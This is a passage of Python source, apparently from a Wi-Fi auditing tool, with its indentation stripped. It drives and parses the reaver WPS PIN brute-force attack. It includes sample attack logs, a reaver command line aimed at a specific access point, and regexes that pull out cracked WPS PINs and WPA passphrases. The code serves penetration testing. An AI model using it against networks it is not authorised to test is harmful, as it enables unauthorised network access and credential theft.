state = '{R}rate-limited{W}'
if Configuration.wps_skip_rate_limit:
Color.pl(state)
Color.pl('{!} {R}hit rate limit, stopping{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
if 'WARNING: Failed to associate with' in out:
# TODO: Fail after X association failures (instead of just one)
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
break
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
# Divine pin_current & pin_total from this:
pin_current = 11000 - pins_left
# Check if process is still running
if reaver.pid.poll() != None:
Color.pl('{R}failed{W}')
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
self.success = False
break
# Output the current state
Color.p(state)
'''
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Pin count advanced: 46. Max pin attempts: 11000
[!] WPS transaction failed (code: 0x02), re-trying last pin
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: 25 successive start failures
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
[+] Estimated Remaining time: 0d15h11m35s
[+] Pin cracked in 7 seconds
[+] WPS PIN: '12345678'
[+] WPA PSK: 'abcdefgh'
[+] AP SSID: 'Test Router'
Reaver 1.4:
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
[!] WARNING: Receive timeout occurred
'''
reaver.interrupt()
return self.success
@staticmethod
def get_pin_psk_ssid(stdout):
''' Parses WPS PIN, PSK, and SSID from output '''
pin = psk = ssid = None
# Check for PIN.
# PIN: Printed *before* the attack completes.
regex = re.search('WPS pin: *([0-9]*)', stdout)
if regex:
pin = regex.groups()[0]
# PIN: Printed when attack is completed.
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
if regex:
pin = regex.groups()[0]
# Check for PSK.
regex = re.search("WPA PSK: *'(.+)'", stdout)
if regex:
psk = regex.groups()[0]
# Check for SSID
regex = re.search("AP SSID: *'(.+)'", stdout)
if regex:
ssid = regex.groups()[0]
return (pin, psk, ssid)
def get_stdout(self):
''' Gets output from stdout_file '''
if not self.stdout_file:
return ''
f = open(self.stdout_file, 'r')
stdout = f.read()
f.close()
return stdout.strip()
if __name__ == '__main__':
stdout = '''
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust]
Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
[Reaver Test] Channel: 11
[Reaver Test] [+] WPS PIN: '12345678'
[Reaver Test] [+] WPA PSK: 'Test PSK'
[Reaver Test] [+] AP SSID: 'Test Router'
'''
print Reaver.get_pin_psk_ssid(stdout)
pass